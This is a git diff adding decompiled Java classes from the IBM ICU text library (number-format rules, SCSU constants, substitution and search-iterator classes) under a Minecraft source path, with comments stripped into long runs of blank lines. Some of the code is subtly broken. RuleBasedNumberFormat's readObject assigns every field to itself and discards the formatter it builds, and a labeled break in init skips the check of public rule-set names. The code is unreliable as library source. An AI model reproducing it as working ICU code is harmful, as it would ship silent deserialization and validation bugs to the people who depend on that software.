+  private void readObject(ObjectInputStream in)
+    throws IOException
+  {
+    String description = in.readUTF();
+    ULocale loc;
+    try
+    {
+      loc = (ULocale)in.readObject();
+    } catch (Exception e) {
+      loc = ULocale.getDefault(ULocale.Category.FORMAT);
+    }
+    
+
+
+
+
+    RuleBasedNumberFormat temp = new RuleBasedNumberFormat(description, loc);
+    ruleSets = ruleSets;
+    defaultRuleSet = defaultRuleSet;
+    publicRuleSetNames = publicRuleSetNames;
+    decimalFormatSymbols = decimalFormatSymbols;
+    decimalFormat = decimalFormat;
+    locale = locale;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String[] getRuleSetNames()
+  {
+    return (String[])publicRuleSetNames.clone();
+  }
+  
+
+
+
+
+
+  public ULocale[] getRuleSetDisplayNameLocales()
+  {
+    if (ruleSetDisplayNames != null) {
+      Set<String> s = ruleSetDisplayNames.keySet();
+      String[] locales = (String[])s.toArray(new String[s.size()]);
+      Arrays.sort(locales, String.CASE_INSENSITIVE_ORDER);
+      ULocale[] result = new ULocale[locales.length];
+      for (int i = 0; i < locales.length; i++) {
+        result[i] = new ULocale(locales[i]);
+      }
+      return result;
+    }
+    return null;
+  }
+  
+  private String[] getNameListForLocale(ULocale loc) {
+    if ((loc != null) && (ruleSetDisplayNames != null)) {
+      String[] localeNames = { loc.getBaseName(), ULocale.getDefault(ULocale.Category.DISPLAY).getBaseName() };
+      for (int i = 0; i < localeNames.length; i++) {
+        String lname = localeNames[i];
+        while (lname.length() > 0) {
+          String[] names = (String[])ruleSetDisplayNames.get(lname);
+          if (names != null) {
+            return names;
+          }
+          lname = ULocale.getFallback(lname);
+        }
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String[] getRuleSetDisplayNames(ULocale loc)
+  {
+    String[] names = getNameListForLocale(loc);
+    if (names != null) {
+      return (String[])names.clone();
+    }
+    names = getRuleSetNames();
+    for (int i = 0; i < names.length; i++) {
+      names[i] = names[i].substring(1);
+    }
+    return names;
+  }
+  
+
+
+
+
+
+
+  public String[] getRuleSetDisplayNames()
+  {
+    return getRuleSetDisplayNames(ULocale.getDefault(ULocale.Category.DISPLAY));
+  }
+  
+
+
+
+
+
+
+
+
+  public String getRuleSetDisplayName(String ruleSetName, ULocale loc)
+  {
+    String[] rsnames = publicRuleSetNames;
+    for (int ix = 0; ix < rsnames.length; ix++) {
+      if (rsnames[ix].equals(ruleSetName)) {
+        String[] names = getNameListForLocale(loc);
+        if (names != null) {
+          return names[ix];
+        }
+        return rsnames[ix].substring(1);
+      }
+    }
+    throw new IllegalArgumentException("unrecognized rule set name: " + ruleSetName);
+  }
+  
+
+
+
+
+
+
+  public String getRuleSetDisplayName(String ruleSetName)
+  {
+    return getRuleSetDisplayName(ruleSetName, ULocale.getDefault(ULocale.Category.DISPLAY));
+  }
+  
+
+
+
+
+
+
+  public String format(double number, String ruleSet)
+    throws IllegalArgumentException
+  {
+    if (ruleSet.startsWith("%%")) {
+      throw new IllegalArgumentException("Can't use internal rule set");
+    }
+    return format(number, findRuleSet(ruleSet));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public String format(long number, String ruleSet)
+    throws IllegalArgumentException
+  {
+    if (ruleSet.startsWith("%%")) {
+      throw new IllegalArgumentException("Can't use internal rule set");
+    }
+    return format(number, findRuleSet(ruleSet));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public StringBuffer format(double number, StringBuffer toAppendTo, FieldPosition ignore)
+  {
+    toAppendTo.append(format(number, defaultRuleSet));
+    return toAppendTo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public StringBuffer format(long number, StringBuffer toAppendTo, FieldPosition ignore)
+  {
+    toAppendTo.append(format(number, defaultRuleSet));
+    return toAppendTo;
+  }
+  
+
+
+
+
+
+
+
+  public StringBuffer format(BigInteger number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    return format(new com.ibm.icu.math.BigDecimal(number), toAppendTo, pos);
+  }
+  
+
+
+
+
+
+
+
+  public StringBuffer format(java.math.BigDecimal number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    return format(new com.ibm.icu.math.BigDecimal(number), toAppendTo, pos);
+  }
+  
+
+
+
+
+
+
+
+
+  public StringBuffer format(com.ibm.icu.math.BigDecimal number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    return format(number.doubleValue(), toAppendTo, pos);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Number parse(String text, ParsePosition parsePosition)
+  {
+    String workingText = text.substring(parsePosition.getIndex());
+    ParsePosition workingPos = new ParsePosition(0);
+    Number tempResult = null;
+    
+
+
+    Number result = Long.valueOf(0L);
+    ParsePosition highWaterMark = new ParsePosition(workingPos.getIndex());
+    
+
+
+
+
+    for (int i = ruleSets.length - 1; i >= 0; i--)
+    {
+      if ((ruleSets[i].isPublic()) && (ruleSets[i].isParseable()))
+      {
+
+
+
+
+        tempResult = ruleSets[i].parse(workingText, workingPos, Double.MAX_VALUE);
+        if (workingPos.getIndex() > highWaterMark.getIndex()) {
+          result = tempResult;
+          highWaterMark.setIndex(workingPos.getIndex());
+        }
+        
+
+
+
+
+
+
+        if (highWaterMark.getIndex() == workingText.length()) {
+          break;
+        }
+        
+
+
+        workingPos.setIndex(0);
+      }
+    }
+    
+
+    parsePosition.setIndex(parsePosition.getIndex() + highWaterMark.getIndex());
+    
+
+
+
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setLenientParseMode(boolean enabled)
+  {
+    lenientParse = enabled;
+  }
+  
+
+
+
+
+
+
+  public boolean lenientParseEnabled()
+  {
+    return lenientParse;
+  }
+  
+
+
+
+
+
+
+
+
+  public void setLenientScannerProvider(RbnfLenientScannerProvider scannerProvider)
+  {
+    this.scannerProvider = scannerProvider;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public RbnfLenientScannerProvider getLenientScannerProvider()
+  {
+    if ((scannerProvider == null) && (lenientParse) && (!lookedForScanner)) {
+      try
+      {
+        lookedForScanner = true;
+        Class<?> cls = Class.forName("com.ibm.icu.text.RbnfScannerProviderImpl");
+        RbnfLenientScannerProvider provider = (RbnfLenientScannerProvider)cls.newInstance();
+        setLenientScannerProvider(provider);
+      }
+      catch (Exception e) {}
+    }
+    
+
+
+
+    return scannerProvider;
+  }
+  
+
+
+
+
+
+
+  public void setDefaultRuleSet(String ruleSetName)
+  {
+    if (ruleSetName == null) {
+      if (publicRuleSetNames.length > 0) {
+        defaultRuleSet = findRuleSet(publicRuleSetNames[0]);
+      } else {
+        defaultRuleSet = null;
+        int n = ruleSets.length;
+        for (;;) { n--; if (n < 0) break;
+          String currentName = ruleSets[n].getName();
+          if ((currentName.equals("%spellout-numbering")) || (currentName.equals("%digits-ordinal")) || (currentName.equals("%duration")))
+          {
+
+
+            defaultRuleSet = ruleSets[n];
+            return;
+          }
+        }
+        
+        n = ruleSets.length;
+        do { n--; if (n < 0) break;
+        } while (!ruleSets[n].isPublic());
+        defaultRuleSet = ruleSets[n];
+      }
+    }
+    else
+    {
+      if (ruleSetName.startsWith("%%")) {
+        throw new IllegalArgumentException("cannot use private rule set: " + ruleSetName);
+      }
+      defaultRuleSet = findRuleSet(ruleSetName);
+    }
+  }
+  
+
+
+
+
+  public String getDefaultRuleSetName()
+  {
+    if ((defaultRuleSet != null) && (defaultRuleSet.isPublic())) {
+      return defaultRuleSet.getName();
+    }
+    return "";
+  }
+  
+
+
+
+
+
+
+
+  public void setDecimalFormatSymbols(DecimalFormatSymbols newSymbols)
+  {
+    if (newSymbols != null) {
+      decimalFormatSymbols = ((DecimalFormatSymbols)newSymbols.clone());
+      if (decimalFormat != null) {
+        decimalFormat.setDecimalFormatSymbols(decimalFormatSymbols);
+      }
+      
+
+      for (int i = 0; i < ruleSets.length; i++) {
+        ruleSets[i].parseRules(ruleSetDescriptions[i], this);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  NFRuleSet getDefaultRuleSet()
+  {
+    return defaultRuleSet;
+  }
+  
+
+
+
+
+
+  RbnfLenientScanner getLenientScanner()
+  {
+    if (lenientParse) {
+      RbnfLenientScannerProvider provider = getLenientScannerProvider();
+      if (provider != null) {
+        return provider.get(locale, lenientParseRules);
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  DecimalFormatSymbols getDecimalFormatSymbols()
+  {
+    if (decimalFormatSymbols == null) {
+      decimalFormatSymbols = new DecimalFormatSymbols(locale);
+    }
+    return decimalFormatSymbols;
+  }
+  
+  DecimalFormat getDecimalFormat() {
+    if (decimalFormat == null) {
+      decimalFormat = ((DecimalFormat)NumberFormat.getInstance(locale));
+      
+      if (decimalFormatSymbols != null) {
+        decimalFormat.setDecimalFormatSymbols(decimalFormatSymbols);
+      }
+    }
+    return decimalFormat;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String extractSpecial(StringBuilder description, String specialName)
+  {
+    String result = null;
+    int lp = description.indexOf(specialName);
+    if (lp != -1)
+    {
+
+
+      if ((lp == 0) || (description.charAt(lp - 1) == ';'))
+      {
+
+
+        int lpEnd = description.indexOf(";%", lp);
+        
+        if (lpEnd == -1) {
+          lpEnd = description.length() - 1;
+        }
+        int lpStart = lp + specialName.length();
+        while ((lpStart < lpEnd) && (PatternProps.isWhiteSpace(description.charAt(lpStart))))
+        {
+          lpStart++;
+        }
+        
+
+        result = description.substring(lpStart, lpEnd);
+        
+
+        description.delete(lp, lpEnd + 1);
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  private void init(String description, String[][] localizations)
+  {
+    initLocalizations(localizations);
+    
+
+
+
+
+
+    StringBuilder descBuf = stripWhitespace(description);
+    
+
+
+
+
+
+    lenientParseRules = extractSpecial(descBuf, "%%lenient-parse:");
+    postProcessRules = extractSpecial(descBuf, "%%post-process:");
+    
+
+
+
+    int numRuleSets = 0;
+    for (int p = descBuf.indexOf(";%"); p != -1; p = descBuf.indexOf(";%", p)) {
+      numRuleSets++;
+      p++;
+    }
+    numRuleSets++;
+    
+
+    ruleSets = new NFRuleSet[numRuleSets];
+    
+
+
+
+
+
+
+
+    ruleSetDescriptions = new String[numRuleSets];
+    
+    int curRuleSet = 0;
+    int start = 0;
+    for (int p = descBuf.indexOf(";%"); p != -1; p = descBuf.indexOf(";%", start)) {
+      ruleSetDescriptions[curRuleSet] = descBuf.substring(start, p + 1);
+      ruleSets[curRuleSet] = new NFRuleSet(ruleSetDescriptions, curRuleSet);
+      curRuleSet++;
+      start = p + 1;
+    }
+    ruleSetDescriptions[curRuleSet] = descBuf.substring(start);
+    ruleSets[curRuleSet] = new NFRuleSet(ruleSetDescriptions, curRuleSet);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    boolean defaultNameFound = false;
+    int n = ruleSets.length;
+    defaultRuleSet = ruleSets[(ruleSets.length - 1)];
+    for (;;) {
+      n--; if (n < 0) break;
+      String currentName = ruleSets[n].getName();
+      if ((currentName.equals("%spellout-numbering")) || (currentName.equals("%digits-ordinal")) || (currentName.equals("%duration"))) {
+        defaultRuleSet = ruleSets[n];
+        defaultNameFound = true;
+        break;
+      }
+    }
+    
+    if (!defaultNameFound) {
+      for (int i = ruleSets.length - 1; i >= 0; i--) {
+        if (!ruleSets[i].getName().startsWith("%%")) {
+          defaultRuleSet = ruleSets[i];
+          break;
+        }
+      }
+    }
+    
+
+
+    for (int i = 0; i < ruleSets.length; i++) {
+      ruleSets[i].parseRules(ruleSetDescriptions[i], this);
+    }
+    
+
+
+
+
+
+    int publicRuleSetCount = 0;
+    for (int i = 0; i < ruleSets.length; i++) {
+      if (!ruleSets[i].getName().startsWith("%%")) {
+        publicRuleSetCount++;
+      }
+    }
+    
+
+    String[] publicRuleSetTemp = new String[publicRuleSetCount];
+    publicRuleSetCount = 0;
+    for (int i = ruleSets.length - 1; i >= 0; i--) {
+      if (!ruleSets[i].getName().startsWith("%%")) {
+        publicRuleSetTemp[(publicRuleSetCount++)] = ruleSets[i].getName();
+      }
+    }
+    
+    if (publicRuleSetNames != null)
+    {
+      label591:
+      for (int i = 0; i < publicRuleSetNames.length; i++) {
+        String name = publicRuleSetNames[i];
+        for (int j = 0; j < publicRuleSetTemp.length; j++) {
+          if (name.equals(publicRuleSetTemp[j])) {
+            break label591;
+          }
+        }
+        throw new IllegalArgumentException("did not find public rule set: " + name);
+      }
+      
+      defaultRuleSet = findRuleSet(publicRuleSetNames[0]);
+    } else {
+      publicRuleSetNames = publicRuleSetTemp;
+    }
+  }
+  
+
+
+
+  private void initLocalizations(String[][] localizations)
+  {
+    if (localizations != null) {
+      publicRuleSetNames = ((String[])localizations[0].clone());
+      
+      Map<String, String[]> m = new HashMap();
+      for (int i = 1; i < localizations.length; i++) {
+        String[] data = localizations[i];
+        String loc = data[0];
+        String[] names = new String[data.length - 1];
+        if (names.length != publicRuleSetNames.length) {
+          throw new IllegalArgumentException("public name length: " + publicRuleSetNames.length + " != localized names[" + i + "] length: " + names.length);
+        }
+        
+        System.arraycopy(data, 1, names, 0, names.length);
+        m.put(loc, names);
+      }
+      
+      if (!m.isEmpty()) {
+        ruleSetDisplayNames = m;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private StringBuilder stripWhitespace(String description)
+  {
+    StringBuilder result = new StringBuilder();
+    
+
+    int start = 0;
+    while ((start != -1) && (start < description.length()))
+    {
+
+      while ((start < description.length()) && (PatternProps.isWhiteSpace(description.charAt(start)))) {
+        start++;
+      }
+      
+
+      if ((start < description.length()) && (description.charAt(start) == ';')) {
+        start++;
+
+
+      }
+      else
+      {
+
+        int p = description.indexOf(';', start);
+        if (p == -1)
+        {
+
+          result.append(description.substring(start));
+          start = -1;
+        }
+        else if (p < description.length()) {
+          result.append(description.substring(start, p + 1));
+          start = p + 1;
+
+
+        }
+        else
+        {
+
+
+          start = -1;
+        }
+      } }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String format(double number, NFRuleSet ruleSet)
+  {
+    StringBuffer result = new StringBuffer();
+    ruleSet.format(number, result, 0);
+    postProcess(result, ruleSet);
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String format(long number, NFRuleSet ruleSet)
+  {
+    StringBuffer result = new StringBuffer();
+    ruleSet.format(number, result, 0);
+    postProcess(result, ruleSet);
+    return result.toString();
+  }
+  
+
+
+  private void postProcess(StringBuffer result, NFRuleSet ruleSet)
+  {
+    if (postProcessRules != null) {
+      if (postProcessor == null) {
+        int ix = postProcessRules.indexOf(";");
+        if (ix == -1) {
+          ix = postProcessRules.length();
+        }
+        String ppClassName = postProcessRules.substring(0, ix).trim();
+        try {
+          Class<?> cls = Class.forName(ppClassName);
+          postProcessor = ((RBNFPostProcessor)cls.newInstance());
+          postProcessor.init(this, postProcessRules);
+        }
+        catch (Exception e)
+        {
+          if (DEBUG) { System.out.println("could not locate " + ppClassName + ", error " + e.getClass().getName() + ", " + e.getMessage());
+          }
+          postProcessor = null;
+          postProcessRules = null;
+          return;
+        }
+      }
+      
+      postProcessor.process(result, ruleSet);
+    }
+  }
+  
+
+
+
+
+  NFRuleSet findRuleSet(String name)
+    throws IllegalArgumentException
+  {
+    for (int i = 0; i < ruleSets.length; i++) {
+      if (ruleSets[i].getName().equals(name)) {
+        return ruleSets[i];
+      }
+    }
+    throw new IllegalArgumentException("No rule set named " + name);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/SCSU.java b/src/minecraft/com/ibm/icu/text/SCSU.java
new file mode 100644
index 0000000..fa42dcf
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/SCSU.java
@@ -0,0 +1,173 @@
+package com.ibm.icu.text;
+
+
+
+abstract interface SCSU
+{
+  public static final int COMPRESSIONOFFSET = 128;
+  
+
+  public static final int NUMWINDOWS = 8;
+  
+
+  public static final int NUMSTATICWINDOWS = 8;
+  
+
+  public static final int INVALIDWINDOW = -1;
+  
+  public static final int INVALIDCHAR = -1;
+  
+  public static final int SINGLEBYTEMODE = 0;
+  
+  public static final int UNICODEMODE = 1;
+  
+  public static final int MAXINDEX = 255;
+  
+  public static final int RESERVEDINDEX = 0;
+  
+  public static final int LATININDEX = 249;
+  
+  public static final int IPAEXTENSIONINDEX = 250;
+  
+  public static final int GREEKINDEX = 251;
+  
+  public static final int ARMENIANINDEX = 252;
+  
+  public static final int HIRAGANAINDEX = 253;
+  
+  public static final int KATAKANAINDEX = 254;
+  
+  public static final int HALFWIDTHKATAKANAINDEX = 255;
+  
+  public static final int SDEFINEX = 11;
+  
+  public static final int SRESERVED = 12;
+  
+  public static final int SQUOTEU = 14;
+  
+  public static final int SCHANGEU = 15;
+  
+  public static final int SQUOTE0 = 1;
+  
+  public static final int SQUOTE1 = 2;
+  
+  public static final int SQUOTE2 = 3;
+  
+  public static final int SQUOTE3 = 4;
+  
+  public static final int SQUOTE4 = 5;
+  
+  public static final int SQUOTE5 = 6;
+  
+  public static final int SQUOTE6 = 7;
+  
+  public static final int SQUOTE7 = 8;
+  
+  public static final int SCHANGE0 = 16;
+  
+  public static final int SCHANGE1 = 17;
+  
+  public static final int SCHANGE2 = 18;
+  
+  public static final int SCHANGE3 = 19;
+  
+  public static final int SCHANGE4 = 20;
+  
+  public static final int SCHANGE5 = 21;
+  
+  public static final int SCHANGE6 = 22;
+  
+  public static final int SCHANGE7 = 23;
+  
+  public static final int SDEFINE0 = 24;
+  
+  public static final int SDEFINE1 = 25;
+  
+  public static final int SDEFINE2 = 26;
+  
+  public static final int SDEFINE3 = 27;
+  
+  public static final int SDEFINE4 = 28;
+  
+  public static final int SDEFINE5 = 29;
+  
+  public static final int SDEFINE6 = 30;
+  
+  public static final int SDEFINE7 = 31;
+  
+  public static final int UCHANGE0 = 224;
+  
+  public static final int UCHANGE1 = 225;
+  
+  public static final int UCHANGE2 = 226;
+  
+  public static final int UCHANGE3 = 227;
+  
+  public static final int UCHANGE4 = 228;
+  
+  public static final int UCHANGE5 = 229;
+  
+  public static final int UCHANGE6 = 230;
+  
+  public static final int UCHANGE7 = 231;
+  
+  public static final int UDEFINE0 = 232;
+  
+  public static final int UDEFINE1 = 233;
+  
+  public static final int UDEFINE2 = 234;
+  
+  public static final int UDEFINE3 = 235;
+  
+  public static final int UDEFINE4 = 236;
+  
+  public static final int UDEFINE5 = 237;
+  
+  public static final int UDEFINE6 = 238;
+  
+  public static final int UDEFINE7 = 239;
+  
+  public static final int UQUOTEU = 240;
+  
+  public static final int UDEFINEX = 241;
+  
+  public static final int URESERVED = 242;
+  
+  public static final int[] sOffsetTable = { 0, 128, 256, 384, 512, 640, 768, 896, 1024, 1152, 1280, 1408, 1536, 1664, 1792, 1920, 2048, 2176, 2304, 2432, 2560, 2688, 2816, 2944, 3072, 3200, 3328, 3456, 3584, 3712, 3840, 3968, 4096, 4224, 4352, 4480, 4608, 4736, 4864, 4992, 5120, 5248, 5376, 5504, 5632, 5760, 5888, 6016, 6144, 6272, 6400, 6528, 6656, 6784, 6912, 7040, 7168, 7296, 7424, 7552, 7680, 7808, 7936, 8064, 8192, 8320, 8448, 8576, 8704, 8832, 8960, 9088, 9216, 9344, 9472, 9600, 9728, 9856, 9984, 10112, 10240, 10368, 10496, 10624, 10752, 10880, 11008, 11136, 11264, 11392, 11520, 11648, 11776, 11904, 12032, 12160, 12288, 12416, 12544, 12672, 12800, 12928, 13056, 13184, 57344, 57472, 57600, 57728, 57856, 57984, 58112, 58240, 58368, 58496, 58624, 58752, 58880, 59008, 59136, 59264, 59392, 59520, 59648, 59776, 59904, 60032, 60160, 60288, 60416, 60544, 60672, 60800, 60928, 61056, 61184, 61312, 61440, 61568, 61696, 61824, 61952, 62080, 62208, 62336, 62464, 62592, 62720, 62848, 62976, 63104, 63232, 63360, 63488, 63616, 63744, 63872, 64000, 64128, 64256, 64384, 64512, 64640, 64768, 64896, 65024, 65152, 65280, 65408, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 192, 592, 880, 1328, 12352, 12448, 65376 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final int[] sOffsets = { 0, 128, 256, 768, 8192, 8320, 8448, 12288 };
+}
diff --git a/src/minecraft/com/ibm/icu/text/SameValueSubstitution.java b/src/minecraft/com/ibm/icu/text/SameValueSubstitution.java
new file mode 100644
index 0000000..b414151
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/SameValueSubstitution.java
@@ -0,0 +1,639 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class SameValueSubstitution
+  extends NFSubstitution
+{
+  SameValueSubstitution(int pos, NFRuleSet ruleSet, RuleBasedNumberFormat formatter, String description)
+  {
+    super(pos, ruleSet, formatter, description);
+    if (description.equals("==")) {
+      throw new IllegalArgumentException("== is not a legal token");
+    }
+  }
+  
+
+
+
+
+
+
+
+  public long transformNumber(long number)
+  {
+    return number;
+  }
+  
+
+
+
+  public double transformNumber(double number)
+  {
+    return number;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public double composeRuleValue(double newRuleValue, double oldRuleValue)
+  {
+    return newRuleValue;
+  }
+  
+
+
+
+
+  public double calcUpperBound(double oldUpperBound)
+  {
+    return oldUpperBound;
+  }
+  
+
+
+
+
+
+
+
+  char tokenChar()
+  {
+    return '=';
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/SearchIterator.java b/src/minecraft/com/ibm/icu/text/SearchIterator.java
new file mode 100644
index 0000000..ea58230
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/SearchIterator.java
@@ -0,0 +1,717 @@
+package com.ibm.icu.text;
+
+import java.text.CharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SearchIterator
+{
+  public static final int DONE = -1;
+  protected BreakIterator breakIterator;
+  protected CharacterIterator targetText;
+  protected int matchLength;
+  private boolean m_isForwardSearching_;
+  private boolean m_isOverlap_;
+  private boolean m_reset_;
+  private int m_setOffset_;
+  private int m_lastMatchStart_;
+  
+  public void setIndex(int position)
+  {
+    if ((position < targetText.getBeginIndex()) || (position > targetText.getEndIndex()))
+    {
+      throw new IndexOutOfBoundsException("setIndex(int) expected position to be between " + targetText.getBeginIndex() + " and " + targetText.getEndIndex());
+    }
+    
+
+    m_setOffset_ = position;
+    m_reset_ = false;
+    matchLength = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setOverlapping(boolean allowOverlap)
+  {
+    m_isOverlap_ = allowOverlap;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setBreakIterator(BreakIterator breakiter)
+  {
+    breakIterator = breakiter;
+    if (breakIterator != null) {
+      breakIterator.setText(targetText);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setTarget(CharacterIterator text)
+  {
+    if ((text == null) || (text.getEndIndex() == text.getIndex())) {
+      throw new IllegalArgumentException("Illegal null or empty text");
+    }
+    
+    targetText = text;
+    targetText.setIndex(targetText.getBeginIndex());
+    matchLength = 0;
+    m_reset_ = true;
+    m_isForwardSearching_ = true;
+    if (breakIterator != null) {
+      breakIterator.setText(targetText);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getMatchStart()
+  {
+    return m_lastMatchStart_;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int getIndex();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getMatchLength()
+  {
+    return matchLength;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public BreakIterator getBreakIterator()
+  {
+    return breakIterator;
+  }
+  
+
+
+
+
+
+
+  public CharacterIterator getTarget()
+  {
+    return targetText;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getMatchedText()
+  {
+    if (matchLength > 0) {
+      int limit = m_lastMatchStart_ + matchLength;
+      StringBuilder result = new StringBuilder(matchLength);
+      result.append(targetText.current());
+      targetText.next();
+      while (targetText.getIndex() < limit) {
+        result.append(targetText.current());
+        targetText.next();
+      }
+      targetText.setIndex(m_lastMatchStart_);
+      return result.toString();
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int next()
+  {
+    int start = targetText.getIndex();
+    if (m_setOffset_ != -1) {
+      start = m_setOffset_;
+      m_setOffset_ = -1;
+    }
+    if (m_isForwardSearching_) {
+      if ((!m_reset_) && (start + matchLength >= targetText.getEndIndex()))
+      {
+
+        matchLength = 0;
+        targetText.setIndex(targetText.getEndIndex());
+        m_lastMatchStart_ = -1;
+        return -1;
+      }
+      m_reset_ = false;
+
+
+    }
+    else
+    {
+
+
+      m_isForwardSearching_ = true;
+      if (start != -1)
+      {
+
+        return start;
+      }
+    }
+    
+    if (start == -1) {
+      start = targetText.getBeginIndex();
+    }
+    if (matchLength > 0)
+    {
+      if (m_isOverlap_) {
+        start++;
+      }
+      else {
+        start += matchLength;
+      }
+    }
+    m_lastMatchStart_ = handleNext(start);
+    return m_lastMatchStart_;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int previous()
+  {
+    int start = targetText.getIndex();
+    if (m_setOffset_ != -1) {
+      start = m_setOffset_;
+      m_setOffset_ = -1;
+    }
+    if (m_reset_) {
+      m_isForwardSearching_ = false;
+      m_reset_ = false;
+      start = targetText.getEndIndex();
+    }
+    
+    if (m_isForwardSearching_ == true)
+    {
+
+
+
+
+      m_isForwardSearching_ = false;
+      if (start != targetText.getEndIndex()) {
+        return start;
+      }
+      
+    }
+    else if (start == targetText.getBeginIndex())
+    {
+      matchLength = 0;
+      targetText.setIndex(targetText.getBeginIndex());
+      m_lastMatchStart_ = -1;
+      return -1;
+    }
+    
+
+    m_lastMatchStart_ = handlePrevious(start);
+    return m_lastMatchStart_;
+  }
+  
+
+
+
+
+
+
+
+  public boolean isOverlapping()
+  {
+    return m_isOverlap_;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void reset()
+  {
+    matchLength = 0;
+    setIndex(targetText.getBeginIndex());
+    m_isOverlap_ = false;
+    m_isForwardSearching_ = true;
+    m_reset_ = true;
